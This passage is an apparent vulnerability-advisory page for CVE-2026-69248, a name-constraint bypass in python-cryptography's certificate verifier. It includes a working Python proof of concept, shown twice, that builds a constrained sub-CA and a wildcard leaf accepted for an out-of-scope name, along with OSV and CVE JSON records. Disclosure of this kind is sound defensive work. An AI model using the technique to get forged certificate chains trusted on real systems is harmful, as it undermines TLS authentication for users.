      Sub-CA permitted constraint: dNSName = foo.example.com
      Leaf SAN:                    dNSName = *.example.com
    Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
    Observed: pyca accepts; further, asks server-verifier whether the leaf is
    authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
    escape.
    """
    import datetime
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import ec
    from cryptography.x509.verification import (
        PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
    )
    
    now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
    day = datetime.timedelta(days=1)
    
    def build(subject, issuer, key, issuer_key, ca, exts=()):
        b = (x509.CertificateBuilder()
             .subject_name(subject).issuer_name(issuer)
             .public_key(key.public_key())
             .serial_number(x509.random_serial_number())
             .not_valid_before(now - 30 * day)
             .not_valid_after(now + 3650 * day)
             .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
        for e, c in exts:
            b = b.add_extension(e, c)
        return b.sign(issuer_key, hashes.SHA256())
    
    # Root
    rk = ec.generate_private_key(ec.SECP256R1())
    rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
    root = build(rn, rn, rk, rk, True)
    
    # Sub-CA constrained to foo.example.com
    sk = ec.generate_private_key(ec.SECP256R1())
    sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
    nc = x509.NameConstraints(
        permitted_subtrees=[x509.DNSName("foo.example.com")],
        excluded_subtrees=None,
    )
    sub = build(sn, rn, sk, rk, True, [(nc, True)])
    
    # Leaf with SAN *.example.com (over-broad relative to the constraint)
    lk = ec.generate_private_key(ec.SECP256R1())
    ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
    san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
    leaf = build(ln, sn, lk, sk, False, [(san, False)])
    
    # Policies
    ca_pol = ExtensionPolicy.permit_all().require_present(
        x509.BasicConstraints, Criticality.AGNOSTIC, None,
    )
    ee_pol = ExtensionPolicy.permit_all().require_present(
        x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
    )
    v = (
        PolicyBuilder()
        .store(Store([root]))
        .time(now)
        .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
        .build_server_verifier(x509.DNSName("bar.example.com"))
    )
    try:
        v.verify(leaf, [sub])
        print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
    except VerificationError as e:
        print(f"EXPECTED: VerificationError: {e}")
    

    Impact

    Acceptance of invalid certificate chain.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "cryptography",
            "resource_purl": "pkg:pypi/cryptography@50.0.0",
            "upstream_fixed_in": "49.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "prowler",
            "purl": "pkg:brew/prowler"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "5.23.0"
                },
                {
                  "fixed": "5.31.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/cryptography@50.0.0",
            "name": "cryptography",
            "resource": "cryptography",
            "strategy": "registry",
            "subject_version": "50.0.0"
          }
        ]
      },
      "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
      "id": "BREW-prowler-CVE-2026-69248",
      "modified": "2026-10-14T19:38:51Z",
      "published": "2026-10-14T19:38:51Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/pull/14888"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/286c89128"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyca/cryptography"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
          "type": "CVSS_V4"
        }
      ],
      "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
      "upstream": [
        "GHSA-m2h6-j472-rp4c",
        "CVE-2026-69248",
        "PYSEC-2026-3554"
      ]
    }

    CVE-2026-69248 (GCVE-0-2026-69248)

    Vulnerability from cvelistv5 – Published: 2026-08-03 21:21 – Updated: 2026-09-02 13:26
    VLAI
    Title
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Summary
    cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-08-04 13:34 UTC
    CWE
    • CWE-295 - Improper Certificate Validation
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    pyca cryptography Affected: < 49.0.0
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-69248",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-04T13:34:32.304052Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-04T15:04:51.587Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "cryptography",
              "vendor": "pyca",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 49.0.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-295",
                  "description": "CWE-295: Improper Certificate Validation",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-02T13:26:35.057Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
            },
            {
              "name": "https://github.com/pyca/cryptography/pull/14888",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pyca/cryptography/pull/14888"
            },
            {
              "name": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
            }
          ],
          "source": {
            "advisory": "GHSA-m2h6-j472-rp4c",
            "discovery": "UNKNOWN"
          },
          "title": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-69248",
        "datePublished": "2026-08-03T21:21:43.710Z",
        "dateReserved": "2026-08-03T19:54:19.852Z",
        "dateUpdated": "2026-09-02T13:26:35.057Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }